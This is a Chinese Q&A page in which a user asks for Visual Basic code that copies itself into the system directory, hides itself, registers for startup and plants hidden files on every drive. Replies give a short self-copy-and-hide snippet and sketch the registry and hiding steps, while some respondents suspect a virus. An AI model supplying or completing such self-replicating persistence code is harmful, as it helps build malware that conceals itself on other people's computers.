VB复制自身

来源：百度知道 编辑：UC知道 时间：2024/05/09 17:59:08
用VB做个复制自身的文件
打开程序后自动复制自身到系统目录并隐藏哪个高手给个代码
再加入注册表启动
然后在每个盘生成一个txt文本并隐藏
代码最好写上注释
哪个高手给个代码 谢谢

Dim a As New FileSystemObject
Dim b As File
FileCopy App.Path & "\" & App.ExeName & ".exe"，"c:\a.exe"
Set b = a.GetFile("c:\a.exe")
b.Attributes = Hidden + System

病毒？

你想干嘛呀！

复制自身用以下语句：
FileCopy App.Path & "\" & App.exename,目标位置（字符串表达式）

加入注册表就用API的RegCrateKey，不多说了。

隐藏文件，我调用CMD的语句。

生成文件，用Open For Append。

不详细说了。

- - 0分??
用批处理的 attrib吧
20分就这么多- -^^^^^^^^^^^^^^^^^^^^